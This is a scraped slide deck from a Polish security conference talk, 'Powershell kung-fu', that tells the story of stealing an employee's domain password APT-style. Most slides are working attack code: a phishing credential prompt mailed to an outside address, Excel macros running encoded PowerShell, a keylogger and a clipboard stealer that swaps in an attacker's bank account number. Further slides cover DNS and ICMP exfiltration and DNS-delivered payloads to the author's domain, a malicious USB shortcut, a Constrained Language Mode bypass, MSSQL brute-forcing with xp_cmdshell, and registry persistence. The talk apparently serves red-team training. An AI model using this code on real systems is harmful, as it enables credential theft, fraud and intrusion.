SlideShare a Scribd company logo
1 of 41
Download to read offline
Paweł M azi ar z
h ttps : //ap t mas t er c las s . c om
h ttps : // i mmun i ty -s ys tems . c om
Kraków 04.06.2019
Powershell kung-fu
c zyli j ak wykr aś ć h as ła w s tylu AP T
Rozdział I: Fabuła
Jes teś zn any
j ako Dar k Vin ci
i dos tałeś
zlec en i e n a
zdobyc i e h as ła
d omen ow ego
j edn ego z
pr ac own i ków
f i r my St eam
C or p – Wik t or a
V. Jego h as ło
pozwoli
zalogować s i ę
do ter mi n ala,
dzi ęki
któr emu. . .
Vincent Gates
Lucius Torvalds
Steam Jobs
https://aptm.in/darklord
whois Paweł Maziarz
• Ojciec Dark Lorda / Dark Vinci
• Współojciec Immunity Systems
• Trener APT Masterclass
• Blogger? (https://aptm.in/)
Zainteresowania:
• Socjotechnika
• Bezpieczeństwo fizyczne
(RFID, zamki)
• Złośliwe oprogramowanie,
honeypoty
• Kowalstwo, piece rakietowe
Rozdział II: Rekonesans
- s y s t e m o p e r a c y j n y :
a k t u a l i z o w a n y
W i n d o w s 10
- w i ę k s z o ś ć i n ż y n i e r ó w
w f i r m i e w y k o r z y s t u j e
G i t h u b a , p a s t e b i n a
- w y c h o d z ą c y r u c h
H T T P / H T T P S , F T P
j e s t m o n i t o r o w a n y
- w o r g a n i z a c j i u ż y w a ny
j e s t O u t l o o k
Rozdział III: Plan A
- Dostarczenie: phishing
z dokumentem Excela
i złośliwym makrem
- Payload: monit o hasło
- Eksf iltracja: wysyłka
hasła mailem
- Narzędzie egzekucji:
Powershell
Rozdział IV: Powershell
- Dos t ęp ny n a k ażdym
n ow ym Wi n d ows i e
- O g r omn e możliw oś ci –
j ęzyk s kr yptowy dla .N ET
- Koch any p r zez r ed i blu e
teamy – t on y pr ojek t ów
- O pen s ou r ce, cr os s
plat for m
Rozdział V: Monit o hasło i wysyłka mailem
iex (iwr
https://raw.githubusercontent.com/samratas
hok/nishang/master/Gather/Invoke-
CredentialsPhish.ps1)
$Outlook = New-Object -ComObject
Outlook.Application
$Mail = $Outlook.CreateItem(0)
$Mail.To = "darkvinci@pmlabs.net"
$Mail.Subject = (Invoke-CredentialsPhish)
$Mail.Body = (ipconfig /all)|out-string
$Mail.Send()
Rozdział VI: Phishing i złośliwe makro
Sub Workbook_Open
Shell "powershell -enc
YwBhAGwAYwAuAGUAeAB
lAA=="
End Sub
Rozdział VI: Phishing i złośliwe makro
Sub Workbook_Open
Shell "cmd /c powershell -enc
YwBhAGwAYwAuAGUAeABl
AA=="
End Sub
Przerzucili Wiktora do grupy
VIP. Nie ma dostępu do poczty,
ruch do publicznych hostów po
TCP i UDP zablokowany. Od
czasu do czasu ktoś przynosi
mu coś na USB. W załączeniu
schemat wycinka sieci.
Jeszcze jedno, Wiktor stał się
wyczulony na kwestie
bezpieczeństwa.
STEAMTERNET
FW_EXT
OFFICE
VOIP
FW_INT
LOCAL SERVICES
DNS
WEB
MSSQL_01
MAIL WEB
FTP
DMZ
VIP
SW_01
GUEST
ERP
WiktorPC
Rozdział VII: Plan B
- Na r z ę d z i e e g z e k u c j i :
P o w e r s h e l l
- Pay l o a d : k e y l o g g e r,
p o d s ł u c h i w a n i e s c h o w k a
- E k s f i l t r a c j a : D N S , I C M P
- D o s t a r c z e n i e : p e n d r i v e ,
k t ó r y j e s t p e n d r i v e m
- P r e z e n t y o d s i e b i e :
o w s z e m ; >
Rozdział VIII: Keylogger
$Path = $env:tempkeys
while ($true) {
Start-Sleep -Milliseconds 40
for ($ascii = 9; $ascii -le 254; $ascii++) {
$state = $API::GetAsyncKeyState($ascii)
if ($state -eq -32767) {
$null = [console]::CapsLock
$virtualKey = $API::MapVirtualKey($ascii, 3)
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName System.Text.StringBuilder
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
https://www.nextofwindows.com/creating-a-simple-keylogger-using-powershell-download
Rozdział VIII: Keylogger
$virtualKey = $API::MapVirtualKey($ascii, 3)
https://aptmasterclass.com/ps1/enc/
[System.Text.Encoding]::Unicode.GetString([System.Con
vert]::FromBase64String("JAB2AGkAcgB0AHUAYQBsAE
sAZQB5ACAAPQAgACQAQQBQAEkAOgA6AE0AYQBwAF
YAaQByAHQAdQBhAGwASwBlAHkAKAAkAGEAcwBjAG
kAaQAsACAAMwApAA0ACgA="))|iex
Rozdział IX: Schowek
for (;;) {
get-clipboard -format text | out-file "$env:tempclip"
start-sleep 1
}
# gift no 1 :>
$slup = "57114000003586487411566642"
for (;;) {
$a = get-clipboard -format text
$a | out-file "$env:tempclip"
if (($a -match "^[0-9 -]+$") -and (($a -replace "[^0-9]","").Length -eq 26)) {
Set-Clipboard $slup
}
start-sleep 1
}
Rozdział X: Eksfiltracja DNS
filter tb64
{[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($_))}
filter thx { ($_.ToCharArray()|%{ "{0:X2}" -f [int]$_ }) -join "" }
filter chunks($c) {
$t=$_;0..[math]::floor($t.length/$c)|%{$t.substring($c*$_,[math]::min($c,
$t.length-$c*$_))} }
filter dots($c) { ($_ -replace "([w]{$c})","`$1.").trim('.') }
whoami|out-string|tb64|thx|chunks 120|dots 32|%{Resolve-DnsName -type a
"$_.$((++$i)).foo.aptmc.pl"}
Rozdział X: Eksfiltracja DNS
iwr https://raw.githubusercontent.com/aptmasterclass/powershell-
kungfu/master/exfil/Invoke-DNSExfil.ps1 | iex
whoami | Invoke-DNSExfil foo.aptmc.pl
Rozdział XI: Infiltracja DNS
(Resolve-DnsName -Type TXT calc.aptmc.pl).strings|iex
Resolve-DnsName -Type
TXT msg.aptmc.pl|%{[System.Text.Encoding]::UTF8.GetString([System.Convert]::
FromBase64String($_.strings))}|iex
[System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String((((Resolve-DnsName -Type TXT
msg10.aptmc.pl).strings|sort) -join "" -replace "[d].","")))|iex
Rozdział XII: Własny DNS
#! /usr/bin/env python
from scapy.all import DNS, DNSQR, DNSRR, IP, send, sniff, sr1, UDP
IFACE = "enp1s0"
DNS_SERVER_IP = "77.55.217.157"
BPF_FILTER = "udp port 53 and ip dst %s" % DNS_SERVER_IP
def dns_responder(local_ip: str):
def get_response(pkt: IP):
if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
if True:
reply = IP(dst=pkt[IP].src, src=pkt[IP].dst)/ UDP(dport=pkt[UDP].sport,
sport=pkt[UDP].dport)/ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=local_ip))
send(reply, verbose=0, iface=IFACE)
return " response sent to: %s" % pkt[IP].src
return get_response
sniff(filter=BPF_FILTER, prn=dns_responder(DNS_SERVER_IP), iface=IFACE)
Rozdział XIII: Eksfiltracja ICMP
$ICMPClient = New-Object
System.Net.NetworkInformation.Ping
$r=$ICMPClient.Send("steam.aptmc.pl", 10,
([text.encoding]::ASCII).GetBytes("Hello, hackers!"))
[System.Text.Encoding]::ASCII.GetString($r.Buffer)
iwr
https://raw.githubusercontent.com/aptmasterclass/powers
hell-kungfu/master/exfil/Invoke-ICMPExfil.ps1 | iex
whoami | Invoke-ICMPExfil steam.aptmc.pl
Rozdział XIII: Eksfiltracja ICMP
#! /usr/bin/env python
# sysctl net.ipv4.icmp_echo_ignore_all=1
from scapy.all import *
def handle_ping(pkt):
if (pkt[2].type == 8):
try:
dst=pkt[1].dst
src=pkt[1].src
seq = pkt[2].seq
id = pkt[2].id
load=pkt[3].load
print "payload from %s: %s" % (src, load)
reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/load[::-1]
send(reply,verbose=False)
except:
pass
if __name__=="__main__":
iface = "enp1s0"
filter = "icmp and icmp[0]=8"
sniff(iface=iface, prn=handle_ping, filter=filter)
Rozdział XIV: Eksfiltracja
$domain = "foo.aptmc.pl"
$files = "$env:tempkeys","$env:tempclip"
$interval = 5
for (;;) {
start-sleep $interval
$files | % {
cat $_ | Invoke-ICMPExfil $domain
cat $_ | Invoke-DNSExfil $domain
}
}
Rozdział XV: Pendrive
$w = New-Object -ComObject WScript.Shell
$desktop = [system.environment]::GetFolderPath("Desktop")
$link = $w.CreateShortcut("$desktopraporty.lnk")
$link.TargetPath = 'powershell.exe'
$link.arguments = ' -ep bypass .boot.ps1’
$link.IconLocation = "C:WindowsSystem32Shell32.dll,3"
$link.save() > $null
Rozdział XVI: Bootstrapper
start -WindowStyle hidden powershell -argumentlist "-ep
bypass .confkeys.ps1"
start -WindowStyle hidden powershell -argumentlist "-ep
bypass .confclip.ps1"
start -WindowStyle hidden powershell -argumentlist "-ep
bypass .confexfil.ps1"
Jest Problem.
Wielki Administrator
włączył Powershell
Constrained Language
Mode.
Rozdział XVII: Powershell Constrained Language Mode
https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
[Environment]::SetEnvironmentV
ariable('__PSLockdownPolicy', '4',
'Machine')
$ExecutionContext.SessionState.
LanguageMode
PS C:Usersdrg> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:Usersdrg
PS C:Usersdrg> powershell -v 2
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:Usersdrg> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:Usersdrg
Rozdział XVII: Powershell Constrained Language Mode
Rozdział XVIII: Powershell bez powershella
// SharpPS.cs
using System.Management.Automation.Runspaces;
public class SharpPS {
public static void Main(string[] args) {
string cmd = System.IO.File.ReadAllText(@args[0]);
RunspaceConfiguration cfg = RunspaceConfiguration.Create();
Runspace spc = RunspaceFactory.CreateRunspace(cfg);
spc.Open();
Pipeline pipeline = spc.CreatePipeline();
pipeline.Commands.AddScript(cmd);
pipeline.Invoke();
}
}
C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe
/r:C:WindowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0__31bf3856ad364e
35System.Management.Automation.dll /unsafe /platform:anycpu /out:SharpPS.exe SharpPS.cs
PS C:Usersdrg> .SharpPS.exe .payload.ps1 https://lolbas-project.github.io/
Rozdział XIX: C# z Powershella
$source=@"
using System.Windows.Forms;
namespace Foo {
public static class Bar {
public static void Hello() {
MessageBox.Show("Hello World");
}
}
}
"@
Add-Type -TypeDefinition $source
-ReferencedAssemblies System.Windows.Forms
[Foo.Bar]::Hello()
https://twitter.com/malwrhunterteam/status/798810061447385089
Rozdział XX: Powershellem przez MSSQL
# Poproś o listę zarejestrowanych usług MSSQL w AD
$spns = @()
$s = [ADSISearcher]([ADSI]"")
$s.filter = "(servicePrincipalName=MSSQLSvc/*)"
$s.FindAll() | % {
$_.GetDirectoryEntry().servicePrincipalName -match "MSSQL"|% {
$spns += $_.Split("/")[1]
}
}
$spns
C:Usersdrg> setspn.exe -Q MSSQLSvc/* MSSQL_01
https://aptm.in/mssql3
PS C:Usersdrg> (setspn -Q MSSQLSvc/*) -match "MSSQL" | % { $_.Trim() -Replace ':1433','' } | Get-Unique
Rozdział XX: Powershellem przez MSSQL
# Sprawdź czy można się zalogować na podane credentiale
$_user = "sa"
$_pass = "Comaarch!2011"
$_host = "172.16.0.10"
$Connection = New-Object
System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "Data Source=$_host;Persist
Security Info=True;User ID=$_user;Password=$_pass"
try {
$Connection.Open()
echo "[OK] $_user@$_host - $_pass"
} catch [Exception] {
echo "[ERR] $_user@$_host - $_pass"
} MSSQL_01
https://aptm.in/mssql1
https://www.google.com/search?q=mssql+sa+domyślne+hasło+filetype:pdf
Rozdział XX: Powershellem przez MSSQL
# Uruchom polecenie w w systemie operacyjnych
$_user = "sa"
$_pass = "P@ssw0rd"
$_host = "172.16.0.15"
$_query = "exec xp_cmdshell 'whoami'"
$Connection = New-Object System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "Data Source=$_host;Persist
Security Info=True;User ID=$_user;Password=$_pass"
$Connection.Open()
$command = $connection.CreateCommand()
$command.CommandText = $_query
$result = $command.ExecuteReader()
$table = new-object "System.Data.DataTable"
$table.Load($result)
echo $table
MSSQL_01
https://aptm.in/mssql2
$_query = @'
exec sp_configure 'show advanced
options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',
1;
RECONFIGURE;
'@
Rozdział XX: Powershellem przez MSSQL
PS C:> (new-object
net.webclient).downloadstring("https://raw.githubusercontent.com/aptmasterclass/
powershell-kungfu/master/mssql/MSSQLKungFu.psm1") | iex
PS C:> Invoke-MSSQLSPNSearchBruteAndExec | ft
Host User Password Command Output
---- ---- -------- ------- ------
2012r2.alphacorp.ad sa P@ssw0rd whoami nt authoritysyst...
piotrpc.alphacorp.ad sa Comarch!2011 whoami nt authoritysyst...
PS C:>
MSSQL_01
https://aptm.in/mssql3
Rozdział XXI: Niezapomnianym być
Registry Value: Available memory (latest format)1 MB
(standard format)
$path="HKCU:SoftwareMicrosoftWindows"
$name="Signature"
$value="aQB3AHIAIABoAHQAdABwAHMAOgAvAC8AYQB
wAHQAbQBjAC4AcABsAC8AYwBhAGwAYwB8AGkAZQB4
AA=="
New-ItemProperty -Path $path -Name $name -Value
$value -PropertyType String -Force
powershell -w h -enc (gp
HKCU:SoftwareMicrosoftWindows).Signature
Dzięki!
Paweł Maziarz <pawelm@immunity-systems.com>
https://aptmasterclass.com/
https://blog.aptmasterclass.com/ (aptm.in)
https://twitter.com/pawelmaziarz

More Related Content

What's hot

DAST in CI/CD pipelines using Selenium & OWASP ZAP
DAST in CI/CD pipelines using Selenium & OWASP ZAPDAST in CI/CD pipelines using Selenium & OWASP ZAP
DAST in CI/CD pipelines using Selenium & OWASP ZAPsrini0x00
 
Where狙いのキー、order by狙いのキー
Where狙いのキー、order by狙いのキーWhere狙いのキー、order by狙いのキー
Where狙いのキー、order by狙いのキーyoku0825
 
OpenID Connect 入門 〜コンシューマーにおけるID連携のトレンド〜
OpenID Connect 入門 〜コンシューマーにおけるID連携のトレンド〜OpenID Connect 入門 〜コンシューマーにおけるID連携のトレンド〜
OpenID Connect 入門 〜コンシューマーにおけるID連携のトレンド〜Masaru Kurahayashi
 
Building an Ethereum Wallet using Hashicorp Vault
Building an Ethereum Wallet using Hashicorp VaultBuilding an Ethereum Wallet using Hashicorp Vault
Building an Ethereum Wallet using Hashicorp VaultJeff Ploughman
 
SAML / OpenID Connect / OAuth / SCIM 技術解説 - ID&IT 2014 #idit2014
SAML / OpenID Connect / OAuth / SCIM 技術解説  - ID&IT 2014 #idit2014SAML / OpenID Connect / OAuth / SCIM 技術解説  - ID&IT 2014 #idit2014
SAML / OpenID Connect / OAuth / SCIM 技術解説 - ID&IT 2014 #idit2014Nov Matake
 
Eliminating Secret Sprawl in the Cloud with HashiCorp Vault - 07.11.2018
Eliminating Secret Sprawl in the Cloud with HashiCorp Vault - 07.11.2018Eliminating Secret Sprawl in the Cloud with HashiCorp Vault - 07.11.2018
Eliminating Secret Sprawl in the Cloud with HashiCorp Vault - 07.11.2018HashiCorp
 
Homomorphic Encryption
Homomorphic EncryptionHomomorphic Encryption
Homomorphic EncryptionGöktuğ Serez
 
池澤あやかと学ぼう!: はじめてのOAuthとOpenID Connect - JICS 2014
池澤あやかと学ぼう!: はじめてのOAuthとOpenID Connect - JICS 2014池澤あやかと学ぼう!: はじめてのOAuthとOpenID Connect - JICS 2014
池澤あやかと学ぼう!: はじめてのOAuthとOpenID Connect - JICS 2014Nov Matake
 
Hashicorp Vault - OPEN Public Sector
Hashicorp Vault - OPEN Public SectorHashicorp Vault - OPEN Public Sector
Hashicorp Vault - OPEN Public SectorKangaroot
 
DevOps in AWS with Kubernetes
DevOps in AWS with KubernetesDevOps in AWS with Kubernetes
DevOps in AWS with KubernetesOleg Chunikhin
 
Homomorphic encryption
Homomorphic encryptionHomomorphic encryption
Homomorphic encryptionNamit Sinha
 
Realizing the Full Potential of Cloud-Native Application Security
Realizing the Full Potential of Cloud-Native Application SecurityRealizing the Full Potential of Cloud-Native Application Security
Realizing the Full Potential of Cloud-Native Application SecurityOry Segal
 
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...Codemotion
 
Ch 5: Bypassing Client-Side Controls
Ch 5: Bypassing Client-Side ControlsCh 5: Bypassing Client-Side Controls
Ch 5: Bypassing Client-Side ControlsSam Bowne
 
Privacy-Preserving Authentication, Another Reason to Care about Zero-Knowledg...
Privacy-Preserving Authentication, Another Reason to Care about Zero-Knowledg...Privacy-Preserving Authentication, Another Reason to Care about Zero-Knowledg...
Privacy-Preserving Authentication, Another Reason to Care about Zero-Knowledg...Clare Nelson, CISSP, CIPP-E
 

What's hot (20)

DAST in CI/CD pipelines using Selenium & OWASP ZAP
DAST in CI/CD pipelines using Selenium & OWASP ZAPDAST in CI/CD pipelines using Selenium & OWASP ZAP
DAST in CI/CD pipelines using Selenium & OWASP ZAP
 
Where狙いのキー、order by狙いのキー
Where狙いのキー、order by狙いのキーWhere狙いのキー、order by狙いのキー
Where狙いのキー、order by狙いのキー
 
OpenID Connect 入門 〜コンシューマーにおけるID連携のトレンド〜
OpenID Connect 入門 〜コンシューマーにおけるID連携のトレンド〜OpenID Connect 入門 〜コンシューマーにおけるID連携のトレンド〜
OpenID Connect 入門 〜コンシューマーにおけるID連携のトレンド〜
 
Building an Ethereum Wallet using Hashicorp Vault
Building an Ethereum Wallet using Hashicorp VaultBuilding an Ethereum Wallet using Hashicorp Vault
Building an Ethereum Wallet using Hashicorp Vault
 
SAML / OpenID Connect / OAuth / SCIM 技術解説 - ID&IT 2014 #idit2014
SAML / OpenID Connect / OAuth / SCIM 技術解説  - ID&IT 2014 #idit2014SAML / OpenID Connect / OAuth / SCIM 技術解説  - ID&IT 2014 #idit2014
SAML / OpenID Connect / OAuth / SCIM 技術解説 - ID&IT 2014 #idit2014
 
Eliminating Secret Sprawl in the Cloud with HashiCorp Vault - 07.11.2018
Eliminating Secret Sprawl in the Cloud with HashiCorp Vault - 07.11.2018Eliminating Secret Sprawl in the Cloud with HashiCorp Vault - 07.11.2018
Eliminating Secret Sprawl in the Cloud with HashiCorp Vault - 07.11.2018
 
HSM超入門講座
HSM超入門講座HSM超入門講座
HSM超入門講座
 
Homomorphic Encryption
Homomorphic EncryptionHomomorphic Encryption
Homomorphic Encryption
 
池澤あやかと学ぼう!: はじめてのOAuthとOpenID Connect - JICS 2014
池澤あやかと学ぼう!: はじめてのOAuthとOpenID Connect - JICS 2014池澤あやかと学ぼう!: はじめてのOAuthとOpenID Connect - JICS 2014
池澤あやかと学ぼう!: はじめてのOAuthとOpenID Connect - JICS 2014
 
Homomorphic encryption
Homomorphic encryptionHomomorphic encryption
Homomorphic encryption
 
Hashicorp Vault - OPEN Public Sector
Hashicorp Vault - OPEN Public SectorHashicorp Vault - OPEN Public Sector
Hashicorp Vault - OPEN Public Sector
 
F5 Web Application Security
F5 Web Application SecurityF5 Web Application Security
F5 Web Application Security
 
DevOps in AWS with Kubernetes
DevOps in AWS with KubernetesDevOps in AWS with Kubernetes
DevOps in AWS with Kubernetes
 
Homomorphic encryption
Homomorphic encryptionHomomorphic encryption
Homomorphic encryption
 
Realizing the Full Potential of Cloud-Native Application Security
Realizing the Full Potential of Cloud-Native Application SecurityRealizing the Full Potential of Cloud-Native Application Security
Realizing the Full Potential of Cloud-Native Application Security
 
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...
 
Ch 5: Bypassing Client-Side Controls
Ch 5: Bypassing Client-Side ControlsCh 5: Bypassing Client-Side Controls
Ch 5: Bypassing Client-Side Controls
 
AWS Lambdaを紐解く
AWS Lambdaを紐解くAWS Lambdaを紐解く
AWS Lambdaを紐解く
 
Breaking The Cloud Kill Chain
Breaking The Cloud Kill ChainBreaking The Cloud Kill Chain
Breaking The Cloud Kill Chain
 
Privacy-Preserving Authentication, Another Reason to Care about Zero-Knowledg...
Privacy-Preserving Authentication, Another Reason to Care about Zero-Knowledg...Privacy-Preserving Authentication, Another Reason to Care about Zero-Knowledg...
Privacy-Preserving Authentication, Another Reason to Care about Zero-Knowledg...
 

Similar to "Powershell kung-fu" - Paweł Maziarz

NYU hacknight, april 6, 2016
NYU hacknight, april 6, 2016NYU hacknight, april 6, 2016
NYU hacknight, april 6, 2016Mikhail Sosonkin
 
A CTF Hackers Toolbox
A CTF Hackers ToolboxA CTF Hackers Toolbox
A CTF Hackers ToolboxStefan
 
Ransomware for fun and non-profit
Ransomware for fun and non-profitRansomware for fun and non-profit
Ransomware for fun and non-profitYouness Zougar
 
Perl Usage In Security and Penetration testing
Perl Usage In Security and Penetration testingPerl Usage In Security and Penetration testing
Perl Usage In Security and Penetration testingVlatko Kosturjak
 
Keep it simple web development stack
Keep it simple web development stackKeep it simple web development stack
Keep it simple web development stackEric Ahn
 
Power of linked list
Power of linked listPower of linked list
Power of linked listPeter Hlavaty
 
Python and Machine Learning
Python and Machine LearningPython and Machine Learning
Python and Machine Learningtrygub
 
Formatul Portable Executable
Formatul Portable Executable Formatul Portable Executable
Formatul Portable Executable DefCamp
 
Who pulls the strings?
Who pulls the strings?Who pulls the strings?
Who pulls the strings?Ronny
 
Py conkr 20150829_docker-python
Py conkr 20150829_docker-pythonPy conkr 20150829_docker-python
Py conkr 20150829_docker-pythonEric Ahn
 
Py conkr 20150829_docker-python
Py conkr 20150829_docker-pythonPy conkr 20150829_docker-python
Py conkr 20150829_docker-pythonEric Ahn
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersYury Chemerkin
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - RoutersLogicaltrust pl
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoPichaya Morimoto
 
Cloud Device Insecurity
Cloud Device InsecurityCloud Device Insecurity
Cloud Device InsecurityJeremy Brown
 
DEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destruction
DEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destructionDEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destruction
DEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destructionFelipe Prado
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)Ferruh Mavituna
 

Similar to "Powershell kung-fu" - Paweł Maziarz (20)

NYU hacknight, april 6, 2016
NYU hacknight, april 6, 2016NYU hacknight, april 6, 2016
NYU hacknight, april 6, 2016
 
A CTF Hackers Toolbox
A CTF Hackers ToolboxA CTF Hackers Toolbox
A CTF Hackers Toolbox
 
Ransomware for fun and non-profit
Ransomware for fun and non-profitRansomware for fun and non-profit
Ransomware for fun and non-profit
 
Perl Usage In Security and Penetration testing
Perl Usage In Security and Penetration testingPerl Usage In Security and Penetration testing
Perl Usage In Security and Penetration testing
 
Keep it simple web development stack
Keep it simple web development stackKeep it simple web development stack
Keep it simple web development stack
 
Power of linked list
Power of linked listPower of linked list
Power of linked list
 
Python and Machine Learning
Python and Machine LearningPython and Machine Learning
Python and Machine Learning
 
Debugging 2013- Poul henning-kamp
Debugging 2013- Poul henning-kampDebugging 2013- Poul henning-kamp
Debugging 2013- Poul henning-kamp
 
Formatul Portable Executable
Formatul Portable Executable Formatul Portable Executable
Formatul Portable Executable
 
Who pulls the strings?
Who pulls the strings?Who pulls the strings?
Who pulls the strings?
 
HackIM 2012 CTF Walkthrough
HackIM 2012 CTF WalkthroughHackIM 2012 CTF Walkthrough
HackIM 2012 CTF Walkthrough
 
Py conkr 20150829_docker-python
Py conkr 20150829_docker-pythonPy conkr 20150829_docker-python
Py conkr 20150829_docker-python
 
Py conkr 20150829_docker-python
Py conkr 20150829_docker-pythonPy conkr 20150829_docker-python
Py conkr 20150829_docker-python
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya Morimoto
 
Cloud Device Insecurity
Cloud Device InsecurityCloud Device Insecurity
Cloud Device Insecurity
 
DEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destruction
DEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destructionDEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destruction
DEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destruction
 
Computer Security
Computer SecurityComputer Security
Computer Security
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
 

Recently uploaded

My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDGMarianaLemus7
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentationphoebematthew05
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Wonjun Hwang
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
